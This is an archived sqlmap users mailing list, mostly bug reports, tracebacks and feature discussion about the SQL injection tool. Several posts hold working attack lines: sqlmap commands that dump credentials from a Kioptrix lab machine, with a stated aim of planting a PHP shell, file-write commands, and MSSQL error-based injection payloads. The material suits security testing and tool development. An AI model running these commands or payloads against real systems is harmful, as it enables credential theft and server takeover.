sqlmap-users — sqlmap users mailing list

Re: [sqlmap-users] Bug in 1.0-dev (r4685)

[Miroslav S. <mir...@gm...>]

Hi Nightman.

Thank you for your report. It should be fixed with the latest commit.

Kind regards,
Miroslav Stampar

On Mon, Jan 16, 2012 at 12:18 AM, <nig...@em...> wrote:

> Hi
> I found a new bug
>
> C:\map>sqlmap -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
> --file-write=C:\\temp\\test.php
> --file-dest=/var/www/*********/httpdocs/test.php
>
> [23:23:36] [INFO] confirming MySQL
> [23:23:38] [INFO] the back-end DBMS is MySQL
> back-end DBMS: MySQL >= 5.0.0
> [23:23:38] [INFO] fingerprinting the back-end DBMS operating system
> [23:23:39] [INFO] the back-end DBMS operating system is Linux
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> [23:54:54] [WARNING] Lost connection to MySQL server during query
> do you want confirmation that the file
> '/var/www/**********/httpdocs/test.php' has been
>  successfully written on the back-end DBMS file system? [Y/n] n
>
> [23:55:09] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4685), retry
> your run with the latest
> development version from the Subversion repository. If the exception
> persists, please send by e-mail
>  to sql...@li... the following text and any
> information required to reproduce
> the bug. The developers will try to reproduce the bug, fix it accordingly
> and get back to you.
> sqlmap version: 1.0-dev (r4685)
> Python version: 2.7.2
> Operating system: nt
> Command line: C:\map\sqlmap.py -d
> ****************************************************
> --file-write=C:\\temp\\test.php
> --file-dest=/var/www/**********/httpdocs/test.php
> Technique: STACKED
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "C:\map\_sqlmap.py", line 83, in main
>     start()
>   File "C:\map\lib\controller\controller.py", line 227, in start
>     action()
>   File "C:\map\lib\controller\action.py", line 165, in action
>     conf.dbmsConnector.close()
>   File "C:\map\plugins\generic\connector.py", line 54, in close
>     self.connector.close()
>   File
> "C:\Users\*******\AppData\Roaming\Python\Python27\site-packages\pymysql\connections.py",
> lin
> e 541, in close
>     self.wfile.write(send_data)
>   File "C:\Python27\lib\socket.py", line 324, in write
>     self.flush()
>   File "C:\Python27\lib\socket.py", line 303, in flush
>     self._sock.sendall(view[write_offset:write_offset+buffer_size])
> error: [Errno 10053] An established connection was aborted by the
> software in your host machine
>
> [*] shutting down at 23:55:09
>
>
> ------------------------------------------------------------------------------
> RSA(R) Conference 2012
> Mar 27 - Feb 2
> Save $400 by Jan. 27
> Register now!
> http://p.sf.net/sfu/rsa-sfdev2dev2
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] tamper script 'between' needs improvement on quotes

[Stiefenhofer, M. <M.S...@r-...>]

Dear all,

 

The between tamper script replaces the greater-than sign, but not if it
is part of a string enclosed in quotes or double quotes. Unfortunately
this is the reason why it fails on many boolean based injections like:

 

Payload: PARAM=dummystring' AND [COMPARISON INCLUDING GREATER THAN] AND
'bla'='bla

 

Quick fix was to remove the quote checks, but a more sophisticated
solution would be great.

 

Best regards,

-marek

 

 

[sqlmap-users] Bug in 1.0-dev (r4685)

[<nig...@em...>]

Hi
I found a new bug

C:\map>sqlmap -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME  --file-write=C:\\temp\\test.php --file-dest=/var/www/*********/httpdocs/test.php

[23:23:36] [INFO] confirming MySQL
[23:23:38] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[23:23:38] [INFO] fingerprinting the back-end DBMS operating system
[23:23:39] [INFO] the back-end DBMS operating system is Linux
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
[23:54:54] [WARNING] Lost connection to MySQL server during query
do you want confirmation that the file '/var/www/**********/httpdocs/test.php' has been
 successfully written on the back-end DBMS file system? [Y/n] n

[23:55:09] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4685), retry your run with the latest
development version from the Subversion repository. If the exception persists, please send by e-mail
 to sql...@li... the following text and any information required to reproduce
the bug. The developers will try to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev (r4685)
Python version: 2.7.2
Operating system: nt
Command line: C:\map\sqlmap.py -d **************************************************** --file-write=C:\\temp\\test.php --file-dest=/var/www/**********/httpdocs/test.php
Technique: STACKED
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "C:\map\_sqlmap.py", line 83, in main
    start()
  File "C:\map\lib\controller\controller.py", line 227, in start
    action()
  File "C:\map\lib\controller\action.py", line 165, in action
    conf.dbmsConnector.close()
  File "C:\map\plugins\generic\connector.py", line 54, in close
    self.connector.close()
  File "C:\Users\*******\AppData\Roaming\Python\Python27\site-packages\pymysql\connections.py", lin
e 541, in close
    self.wfile.write(send_data)
  File "C:\Python27\lib\socket.py", line 324, in write
    self.flush()
  File "C:\Python27\lib\socket.py", line 303, in flush
    self._sock.sendall(view[write_offset:write_offset+buffer_size])
error: [Errno 10053] An established connection was aborted by the
software in your host machine

[*] shutting down at 23:55:09

Re: [sqlmap-users] UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3

[<nso...@so...>]

Hi,

This how i started sqlmap:

./sqlmap.py -r target.txt -p vulnParameter --sql-query "SELECT value, 
value, value, valueg, value FROM table WHERE value = 'admin'" 
--dbms="microsoft sql server" --risk=2 -v 6

An This is a bit more Output. Decoding Error occures on each request.

And the final output is

SELECT value, value, value, valueg, value FROM table WHERE value = 
'admin' [1]:
[*] None, None, None, None




Traceback (most recent call last):
   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
     stream.write(fs % msg.encode("UTF-8"))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 
9270: ordinal not in range(128)

[15:09:28] [TRAFFIC OUT] HTTP request [#5]:
POST /scripts/XXX/xxx.cfm?CFID=xxxxx&CFTOKEN=xxxxxx HTTP/1.1
Accept-Encoding: identity
Accept-language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) 
Gecko/20100101 Firefox/9.0.1
Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Host: xxxx.xxxxxxxx.com
Referer: 
https://xxxx.xxxxxxxx.com/scripts/xxx/xxx.cfm?start=0&CFID=xxxxx&CFTOKEN=xxxxx
Cookie: CFID=xxxxx; CFTOKEN=xxxxx; SPRACHE=D; CFID=xxxxx; CFTOKEN=xxxxx
Content-type: application/x-www-form-urlencoded
Connection: close

vulnParameter=alle%27%29%20AND%202946%3DCONVERT%28INT%2C%28CHAR%2858%29%2BCHAR%28106%29%2BCHAR%28120%29%2BCHAR%28104%29%2BCHAR%2858%29%2B%28SELECT%20TOP%201%20SUBSTRING%28%28ISNULL%28CAST%28sSystembezeichnung%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C100%29%20FROM%20Qlogin%20WHERE%20kennung%20%3D%20CHAR%2897%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%20AND%20id%20NOT%20IN%20%28SELECT%20TOP%200%20ISNULL%28id%2CCHAR%2832%29%29%20FROM%20Qlogin%20WHERE%20kennung%20%3D%20CHAR%2897%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%20ORDER%20BY%20id%29%20ORDER%20BY%20id%29%2BCHAR%2858%29%2BCHAR%28102%29%2BCHAR%28119%29%2BCHAR%28106%29%2BCHAR%2858%29%29%29%20AND%20%28%27hemb%27%3D%27hemb

Traceback (most recent call last):
   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
     stream.write(fs % msg.encode("UTF-8"))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 
9270: ordinal not in range(128)
[15:09:30] [DEBUG] performed 4 queries in 4 seconds
SELECT value, value, value, valueg, value FROM table WHERE value = 
'admin' [1]:
[*] None, None, None, None

[15:09:30] [INFO] Fetched data logged to text files under 
'/home/nso/tools/sqlmap2/sqlmap-dev/output/xxxx.xxxxxxxx.com'

[*] shutting down at 15:09:30

Regards,

Lofi




On Fri, 13 Jan 2012 14:37:19 +0100, Miroslav Stampar wrote:
> Hi.
>
> Could you please send some more details around this lines:
>
> Traceback (most recent call last):
>   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
>     stream.write(fs % msg.encode("UTF-8"))
> UnicodeDecodeError: ascii codec cant decode byte 0xc3 in position
> 9270: ordinal not in range(128)
>
> I would need some output from before and after to locate where does 
> it
> happen. This way its impossible to find it.
>
> Kind regards,
> Miroslav Stampar
>
> On Fri, Jan 13, 2012 at 2:05 PM,  wrote:
>
>> Hello,
>>
>> I got this error:
>>
>> Traceback (most recent call last):
>>   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
>>     stream.write(fs % msg.encode("UTF-8"))
>> UnicodeDecodeError: ascii codec cant decode byte 0xc3 in position
>> 9270: ordinal not in range(128)
>> [13:58:26] [DEBUG] performed 5 queries in 7 seconds
>> SELECT value, value, value, valueg, value FROM table WHERE value =
>> admin [1]:
>> [*] None, None, None, None, None
>>
>> Injection Type:
>> ---------------
>> ---
>> Place: POST
>> Parameter: vulnParameter
>>     Type: error-based
>>     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or
>> HAVING clause
>>     Payload: vulnParameter=alle) AND
>>
> 
> 9659=CONVERT(INT,(CHAR(58)+CHAR(112)+CHAR(110)+CHAR(101)+CHAR(58)+(SELECT
>> (CASE WHEN (9659=9659) THEN CHAR(49) ELSE CHAR(48)
>> END))+CHAR(58)+CHAR(112)+CHAR(109)+CHAR(116)+CHAR(58))) AND
>> (bVCQ=bVCQ
>> ---
>>
>> Version:
>> --------
>> ./sqlmap.py --version
>>     sqlmap/1.0-dev (r4668) - automatic SQL injection and database
>> takeover tool
>>     http://www.sqlmap.org [1]
>> [*] starting at 13:59:28
>> sqlmap/1.0-dev (r4668)
>> Python 2.6.5
>>
>> Best regards,
>>
>> Lofi
>>
>>
> 
> ------------------------------------------------------------------------------
>> RSA(R) Conference 2012
>> Mar 27 - Feb 2
>> Save $400 by Jan. 27
>> Register now!
>> http://p.sf.net/sfu/rsa-sfdev2dev2 [2]
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li... [3]
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users [4]

Re: [sqlmap-users] UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3

[Miroslav S. <mir...@gm...>]

Hi again.

What parameters have you used? Have you tried to run --sql-shell? What
query have you used?

Kind regards,
Miroslav Stampar

On Fri, Jan 13, 2012 at 2:37 PM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi.
>
> Could you please send some more details around this lines:
>
> Traceback (most recent call last):
>   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
>     stream.write(fs % msg.encode("UTF-8"))
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position
> 9270: ordinal not in range(128)
>
> I would need some output from before and after to locate where does it
> happen. This way it's impossible to find it.
>
> Kind regards,
> Miroslav Stampar
>
> On Fri, Jan 13, 2012 at 2:05 PM, <nso...@so...> wrote:
>
>> Hello,
>>
>> I got this error:
>>
>> Traceback (most recent call last):
>>   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
>>     stream.write(fs % msg.encode("UTF-8"))
>> UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position
>> 9270: ordinal not in range(128)
>> [13:58:26] [DEBUG] performed 5 queries in 7 seconds
>> SELECT value, value, value, valueg, value FROM table WHERE value =
>> 'admin' [1]:
>> [*] None, None, None, None, None
>>
>>
>> Injection Type:
>> ---------------
>> ---
>> Place: POST
>> Parameter: vulnParameter
>>     Type: error-based
>>     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or
>> HAVING clause
>>     Payload: vulnParameter=alle') AND
>> 9659=CONVERT(INT,(CHAR(58)+CHAR(112)+CHAR(110)+CHAR(101)+CHAR(58)+(SELECT
>> (CASE WHEN (9659=9659) THEN CHAR(49) ELSE CHAR(48)
>> END))+CHAR(58)+CHAR(112)+CHAR(109)+CHAR(116)+CHAR(58))) AND
>> ('bVCQ'='bVCQ
>> ---
>>
>>
>> Version:
>> --------
>> ./sqlmap.py --version
>>     sqlmap/1.0-dev (r4668) - automatic SQL injection and database
>> takeover tool
>>     http://www.sqlmap.org
>> [*] starting at 13:59:28
>> sqlmap/1.0-dev (r4668)
>> Python 2.6.5
>>
>> Best regards,
>>
>> Lofi
>>
>>
>>
>> ------------------------------------------------------------------------------
>> RSA(R) Conference 2012
>> Mar 27 - Feb 2
>> Save $400 by Jan. 27
>> Register now!
>> http://p.sf.net/sfu/rsa-sfdev2dev2
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3

[Miroslav S. <mir...@gm...>]

Hi.

Could you please send some more details around this lines:

Traceback (most recent call last):
  File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
    stream.write(fs % msg.encode("UTF-8"))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position
9270: ordinal not in range(128)

I would need some output from before and after to locate where does it
happen. This way it's impossible to find it.

Kind regards,
Miroslav Stampar

On Fri, Jan 13, 2012 at 2:05 PM, <nso...@so...> wrote:

> Hello,
>
> I got this error:
>
> Traceback (most recent call last):
>   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
>     stream.write(fs % msg.encode("UTF-8"))
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position
> 9270: ordinal not in range(128)
> [13:58:26] [DEBUG] performed 5 queries in 7 seconds
> SELECT value, value, value, valueg, value FROM table WHERE value =
> 'admin' [1]:
> [*] None, None, None, None, None
>
>
> Injection Type:
> ---------------
> ---
> Place: POST
> Parameter: vulnParameter
>     Type: error-based
>     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or
> HAVING clause
>     Payload: vulnParameter=alle') AND
> 9659=CONVERT(INT,(CHAR(58)+CHAR(112)+CHAR(110)+CHAR(101)+CHAR(58)+(SELECT
> (CASE WHEN (9659=9659) THEN CHAR(49) ELSE CHAR(48)
> END))+CHAR(58)+CHAR(112)+CHAR(109)+CHAR(116)+CHAR(58))) AND
> ('bVCQ'='bVCQ
> ---
>
>
> Version:
> --------
> ./sqlmap.py --version
>     sqlmap/1.0-dev (r4668) - automatic SQL injection and database
> takeover tool
>     http://www.sqlmap.org
> [*] starting at 13:59:28
> sqlmap/1.0-dev (r4668)
> Python 2.6.5
>
> Best regards,
>
> Lofi
>
>
>
> ------------------------------------------------------------------------------
> RSA(R) Conference 2012
> Mar 27 - Feb 2
> Save $400 by Jan. 27
> Register now!
> http://p.sf.net/sfu/rsa-sfdev2dev2
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3

[<nso...@so...>]

Hello,

I got this error:

Traceback (most recent call last):
   File "/usr/lib/python2.6/logging/__init__.py", line 791, in emit
     stream.write(fs % msg.encode("UTF-8"))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 
9270: ordinal not in range(128)
[13:58:26] [DEBUG] performed 5 queries in 7 seconds
SELECT value, value, value, valueg, value FROM table WHERE value = 
'admin' [1]:
[*] None, None, None, None, None


Injection Type:
---------------
---
Place: POST
Parameter: vulnParameter
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or 
HAVING clause
     Payload: vulnParameter=alle') AND 
9659=CONVERT(INT,(CHAR(58)+CHAR(112)+CHAR(110)+CHAR(101)+CHAR(58)+(SELECT 
(CASE WHEN (9659=9659) THEN CHAR(49) ELSE CHAR(48) 
END))+CHAR(58)+CHAR(112)+CHAR(109)+CHAR(116)+CHAR(58))) AND 
('bVCQ'='bVCQ
---


Version:
--------
./sqlmap.py --version
     sqlmap/1.0-dev (r4668) - automatic SQL injection and database 
takeover tool
     http://www.sqlmap.org
[*] starting at 13:59:28
sqlmap/1.0-dev (r4668)
Python 2.6.5

Best regards,

Lofi

Re: [sqlmap-users] escalating privileges

[Chris O. <chr...@gm...>]

Can't wait... sqlmap is making me lazier by the day!

On 13 January 2012 12:39, Miroslav Stampar <mir...@gm...>wrote:

> Hi Phaedrus.
>
> Sorry, for the time being there is no such mechanism inside sqlmap. Also,
> once implemented it will be most certainly limited to only MSSQL and Oracle
> (
> http://www.abysssec.com/blog/2008/10/16/ms-sql-injection-privilege-scalation/&
> http://www.notsosecure.com/folder2/2009/04/26/oracle-privilege-escalations-from-web-app/
> ).
>
> Kind regards,
> Miroslav Stampar
>
> On Fri, Jan 13, 2012 at 5:02 AM, Phaedrus Black <pha...@gm...>wrote:
>
>> hello:
>>
>> I discovered a vulnerability that allows me to bypass the login screen.
>> btw this is the Kioptrix Level 2 puzzle and not a live client/target.
>>
>> I've managed to dump credentials for the administrator's web interface in
>> addition to the database users themselves. There were a few recon commands
>> but the meatiest items are below.
>>
>> Specific commands included:
>>
>> >sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
>> --data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
>> --string="Ping" -D webapp -T users --dump --proxy=http://127.0.0.1:8080 <---
>> gets me user credentials for the webapp
>>
>> >sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
>> --data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
>> --string="Ping" --passwords --proxy=http://127.0.0.1:8080 <--- gets me
>> user credentials for the DB.
>>
>> However, I've discovered that the db user that I am running as does
>> **not** have the appropriate privileges to write
>> files to the system.
>>
>> My objective is to write something like phpshell to the /var/www
>> directory and go from there.
>>
>> Is there a way for sqlmap to switch from unprivileged user A to
>> privileged user B if I have both sets of credentials?  If so, I can then
>> use the "file-write" and "file-dest" options.
>>
>> thanks,
>>
>> -pb
>>
>>
>>
>>
>>
>>
>> ------------------------------------------------------------------------------
>> RSA(R) Conference 2012
>> Mar 27 - Feb 2
>> Save $400 by Jan. 27
>> Register now!
>> http://p.sf.net/sfu/rsa-sfdev2dev2
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>
>
> ------------------------------------------------------------------------------
> RSA(R) Conference 2012
> Mar 27 - Feb 2
> Save $400 by Jan. 27
> Register now!
> http://p.sf.net/sfu/rsa-sfdev2dev2
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] escalating privileges

[Miroslav S. <mir...@gm...>]

Hi Phaedrus.

Sorry, for the time being there is no such mechanism inside sqlmap. Also,
once implemented it will be most certainly limited to only MSSQL and Oracle
(
http://www.abysssec.com/blog/2008/10/16/ms-sql-injection-privilege-scalation/&
http://www.notsosecure.com/folder2/2009/04/26/oracle-privilege-escalations-from-web-app/
).

Kind regards,
Miroslav Stampar

On Fri, Jan 13, 2012 at 5:02 AM, Phaedrus Black <pha...@gm...>wrote:

> hello:
>
> I discovered a vulnerability that allows me to bypass the login screen.
> btw this is the Kioptrix Level 2 puzzle and not a live client/target.
>
> I've managed to dump credentials for the administrator's web interface in
> addition to the database users themselves. There were a few recon commands
> but the meatiest items are below.
>
> Specific commands included:
>
> >sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
> --data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
> --string="Ping" -D webapp -T users --dump --proxy=http://127.0.0.1:8080 <---
> gets me user credentials for the webapp
>
> >sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
> --data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
> --string="Ping" --passwords --proxy=http://127.0.0.1:8080 <--- gets me
> user credentials for the DB.
>
> However, I've discovered that the db user that I am running as does
> **not** have the appropriate privileges to write
> files to the system.
>
> My objective is to write something like phpshell to the /var/www directory
> and go from there.
>
> Is there a way for sqlmap to switch from unprivileged user A to privileged
> user B if I have both sets of credentials?  If so, I can then use the
> "file-write" and "file-dest" options.
>
> thanks,
>
> -pb
>
>
>
>
>
>
> ------------------------------------------------------------------------------
> RSA(R) Conference 2012
> Mar 27 - Feb 2
> Save $400 by Jan. 27
> Register now!
> http://p.sf.net/sfu/rsa-sfdev2dev2
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] escalating privileges

[Phaedrus B. <pha...@gm...>]

hello:

I discovered a vulnerability that allows me to bypass the login screen. btw
this is the Kioptrix Level 2 puzzle and not a live client/target.

I've managed to dump credentials for the administrator's web interface in
addition to the database users themselves. There were a few recon commands
but the meatiest items are below.

Specific commands included:

>sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
--data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
--string="Ping" -D webapp -T users --dump --proxy=http://127.0.0.1:8080 <---
gets me user credentials for the webapp

>sudo python sqlmap.py -u "http://1 <http://172.16.207.129>92.168.1.1"
--data "uname=blah&psw=30' or '1'='1" --dbs --level 5 --risk 3
--string="Ping" --passwords --proxy=http://127.0.0.1:8080 <--- gets me user
credentials for the DB.

However, I've discovered that the db user that I am running as does **not**
have the appropriate privileges to write
files to the system.

My objective is to write something like phpshell to the /var/www directory
and go from there.

Is there a way for sqlmap to switch from unprivileged user A to privileged
user B if I have both sets of credentials?  If so, I can then use the
"file-write" and "file-dest" options.

thanks,

-pb

Re: [sqlmap-users] Accept a New Cookie

[Miroslav S. <mir...@gm...>]

Hi all.

There has been noticeable changes in cookies mechanism (now you'll be asked
if you want to merge new cookies got by Set Cookie header value with your
optional --cookies supplied value - useful when session cookie is changed
all of a sudden inside the detection phase) with the last commit r4665.
Please report back if you notice any problems regarding it.

Kind regards,
Miroslav Stampar

On Tue, Jan 10, 2012 at 10:08 AM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi Sean.
>
> A bit of information what's going on in your case.
>
> In scanning mode sqlmap is automatically dropping Set-Cookie header
> because that's a desired behavior. Imagine for example OR boolean injection
> testing on login page with acceptance of new cookie header. It would just
> not work because every page after the successful one with OR 1=1 would just
> appear the same (as authenticated).
>
> Nevertheless, in normal enumeration if technique is not OR boolean based
> one "Drop Set" cookie header is accepted normally without any problems
> (except if --drop-set-cookie switch is specified).
>
> Now, the real question goes like this. What's the part of sqlmap that is
> not playing as of your expectations? Detection or enumeration? Could you
> please be more specific here.
>
> Kind regards,
> Miroslav Stampar
>
> ---------- Forwarded message ----------
> From: Sean Verity <ver...@gm...>
> Date: 9 January 2012 19:51
> Subject: Accept a New Cookie
> To: ber...@gm...
>
>
> Hello,
>
> Great job on sqlmap!  Saves me so much time at work.
>
> I've been using the 'cookie=' option quite a bit in some recent
> testing since the application I'm auditing relies heavily on
> authentication.  The 'cookie=' option works great until my application
> attempts to refresh the session cookie.
>
> The application I'm auditing will invalidate the session cookie after
> 5 minutes.  At which point, the application sends a new session cookie
> through a 'Set Cookie' header.  Based on a review of Burp Suite logs,
> it appears that sqlmap is not accepting the new cookie.  sqlmap
> continues to submit the original session cookie (which the application
> has invalidated), effectively terminating the authenticated sqlmap
> scan.
>
> I've reviewed my sqlmap.conf configuration file and the
> 'dropSetCookie' directive is set to 'false.'
>
> Example:
>
> ./sqlmap.py -u 'https://169.254.1.1/index.htm'
> --cookie='SESSID=1234567890ABCDEF' --proxy='http://127.0.0.1:8080'
> --risk=3 --level=5 -v 0
>
> Thanks!
>
> -Sean
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Feature Request

[Miroslav S. <mir...@gm...>]

Hi.

As said, python is constrained in this manner. You can't even listen to
keystrokes, so if there would be a 'listening thread' you would need to
enter whole 'guess' and press enter for it to process (also, console output
would be mess) - raw_input().

So, it would be clumsy as well, but other thing brings problems. Threads in
raw_input() mode would need some voodoo for them to be killed.

Kind regards
On Jan 11, 2012 12:41 PM, "Robin Wood" <ro...@di...> wrote:

> On 11 January 2012 11:32, Bernardo Damele A. G.
> <ber...@gm...> wrote:
> > Hi Chris,
> >
> > You can tune txt/common-outputs.txt to your needs in order to make
> > --predict-output more efficient for your test.
> >
> > Bernardo
> >
> > On 11 January 2012 11:29, Chris Oakley <chr...@gm...>
> wrote:
> >> I think Ctrl+C is going to be the only way to do it reliably in
> Python.  I
> >> wasn't actually aware of the --predict-output switch and will have a
> play,
> >> but from the description it does sound like it falls short a little.
> That
> >> said, if there are higher priority features or bug fixes... it's not
> the end
> >> of the world having to wait as it is :) - Chris
> >
>
> Not sure if it would work but what about having a thread on the side
> that checked for keyboard input, if you hit a specific key it sets a
> flag in a singleton. The worker threads check that singleton on each
> iteration of the loop and if they see the flag set then they pause.
> You then do the manual stuff and then resume the threads or kill them
> as necessary.
>
> Robin
>
> >>
> >> On 11 January 2012 08:56, Miroslav Stampar <mir...@gm...>
> >> wrote:
> >>>
> >>> Hi again.
> >>>
> >>> Minor update. --predict-output switch will perform well only on start
> of
> >>> outputs. So, it will greatly speed up the starting part with
> "Microsoft SQL
> >>> Server" but the rest is done normally (won't go into detail why and
> how is
> >>> this performed only for the beginning of the retrieved string).
> >>>
> >>> So, the idea with user contributed guesses is still on.
> >>>
> >>> Kind regards,
> >>> Miroslav Stampar
> >>>
> >>>
> >>> On Wed, Jan 11, 2012 at 9:28 AM, Miroslav Stampar
> >>> <mir...@gm...> wrote:
> >>>>
> >>>> Hi Hans.
> >>>>
> >>>> Basically, you are right. --predict-output is a good replacement for
> this
> >>>> kind cases, but I am not sure if it's enough for Ryan and Chris.
> >>>>
> >>>> Also, i'll need to take a look into it and maybe upgrade it a bit as
> >>>> there hasn't been development on it for more than a year.
> >>>>
> >>>> Kind regards,
> >>>> Miroslav Stampar
> >>>>
> >>>> On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...>
> wrote:
> >>>>>
> >>>>> Hello everyone,
> >>>>>
> >>>>> Whats with --predict-output ??
> >>>>> Maybe you could use that.
> >>>>>
> >>>>> Cheers
> >>>>>
> >>>>> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar
> >>>>> <mir...@gm...>:
> >>>>>
> >>>>> Hi guys.
> >>>>>
> >>>>> This would be implemented long time ago only if Python wasn't such
> >>>>> really bad about interrupting it's processes. Sadly, you can 'pause'
> >>>>> (interrupt) them only by Ctrl+C. Now, I can put this there, but it
> will be
> >>>>> clumsy at least.
> >>>>>
> >>>>> If you have other ideas how to deal with this problem, please tell
> >>>>>
> >>>>> Kind regards,
> >>>>> Miroslav Stampar
> >>>>>
> >>>>> On Jan 10, 2012 5:50 PM, "Chris Oakley" <
> chr...@gm...>
> >>>>> wrote:
> >>>>>>
> >>>>>> I'm sure that there are higher priorities than this, but I have to
> add
> >>>>>> that this would be useful for me too.  As an example, on a recent
> test I was
> >>>>>> grabbing the banner of the DBMS as a quick POC for a client.
> >>>>>>
> >>>>>> The banner was as follows:
> >>>>>>
> >>>>>> Banner:
> >>>>>> ---
> >>>>>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
> >>>>>>     Dec 16 2008 19:46:53
> >>>>>>     Copyright (c) 1988-2003 Microsoft Corporation
> >>>>>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
> >>>>>> ---
> >>>>>>
> >>>>>> This was a time based blind injection, so each of the above
> characters
> >>>>>> took an average of 20 seconds to retrieve.  It's perfectly obvious
> what the
> >>>>>> "Microsoft Corporation" part is going to be, for example.  When each
> >>>>>> character takes many queries with wait commands to retrieve, this
> can be
> >>>>>> quite heavy on the DBMS.
> >>>>>>
> >>>>>> Not a huge deal, but if this feature made it into a future release,
> I
> >>>>>> certainly wouldn't complain.
> >>>>>>
> >>>>>> Regards
> >>>>>>
> >>>>>> Chris
> >>>>>>
